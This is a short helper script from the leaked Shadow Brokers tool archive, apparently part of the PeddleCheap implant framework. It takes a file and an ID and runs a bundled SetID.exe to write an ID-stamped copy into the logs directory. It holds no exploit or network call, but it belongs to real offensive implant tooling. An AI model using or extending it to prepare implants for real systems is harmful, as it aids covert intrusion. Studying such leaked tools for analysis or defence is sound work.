shadowbrokers-exploits/windows/Resources/Ep/Scripts/PeddleCheap/ChangeID.eps

77 lines
1.8 KiB
PostScript
Raw Normal View History

#-----------------------------------------------------------------------------
# File: ChangeID.eps
#
# Changes the ID of the given file
#-----------------------------------------------------------------------------
@echo off;
if ($argc != 3) {
echo "Usage: $argv[0] <original_file> <ID>";
return false;
}
string $file = $argv[1];
string $ID = $argv[2];
#string $startHour = $argv[2];
#string $endHour = $argv[3];
@record on;
# get full path to original file
ifnot (`getdirectory -resources`) {
echo "* ChangeID: Unable to get resources directory";
return false;
}
string $resDir = GetCmdData("dir");
ifnot (defined($resDir[0])) {
echo "* ChangeID: Unable to retrieve resources directory";
return false;
}
# see if it's already a full path
string $fullPath;
string $parts = Split(":", $file);
if (sizeof($parts) > 1) {
# path is a full path
$fullPath = $file;
} else {
$fullPath = "$resDir\\$file";
}
# get logs directory
ifnot (`getdirectory -logs`) {
echo "* ChangeID: Unable to get logs directory";
return false;
}
string $currentDir = GetCmdData("dir");
ifnot (defined($currentDir[0])) {
echo "* ChangeID: Unable to retrieve logs directory";
return false;
}
# get filename
string $fileParts = Split("\\", $file);
int $lastPart = sizeof($fileParts);
$lastPart--;
string $fileName = $fileParts[$lastPart];
ifnot (defined($fileName[0])) {
echo "* ChangeID: Unable to determine file name";
return false;
}
$fileName = "$currentDir\\$fileName-$ID";
# set the time
ifnot (`local run -command "$resDir\\PC\\Tools\\SetID.exe \\"$fullPath\\" \\"$fileName\\" $ID" -redirect changeid`) {
echo "* ChangeID: ID set failed";
return false;
}
echo "ID set for $fileName";
return SetCmdData(STRING, "file", $fileName);